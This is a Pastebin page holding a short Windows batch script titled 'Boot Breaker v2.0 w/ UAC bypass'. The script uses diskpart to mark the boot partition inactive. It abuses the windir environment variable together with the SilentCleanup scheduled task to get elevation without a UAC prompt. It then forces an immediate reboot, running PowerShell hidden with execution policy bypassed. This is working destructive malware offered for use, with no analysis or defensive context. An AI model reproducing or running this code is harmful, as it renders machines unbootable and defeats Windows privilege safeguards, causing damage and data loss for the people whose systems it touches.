Shiva108

Boot Breaker v2.0 w/ UAC bypass

Mar 23rd, 2019
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.63 KB | None | 0 0
  1. @echo off
  2. echo select disk=^0>C:\Users\Public\Diskpart.txt
  3. echo select partition=^1>>C:\Users\Public\Diskpart.txt
  4. echo inactive>>C:\Users\Public\Diskpart.txt
  5. echo Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd /c start /min cmd /c diskpart /s C:\Users\Public\Diskpart.txt ^&^& shutdown /r /f /t 0 && ;#">C:\Users\Public\Powershell.ps1
  6. echo schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I ^| Out-Null>>C:\Users\Public\Powershell.ps1
  7. echo Remove-ItemProperty -Path "HKCU:\Environment" -Name "windir">>C:\Users\Public\Powershell.ps1
  8. start /min powershell -ep bypass -w h C:\Users\Public\Powershell.ps1
Add Comment
Please, Sign In to add comment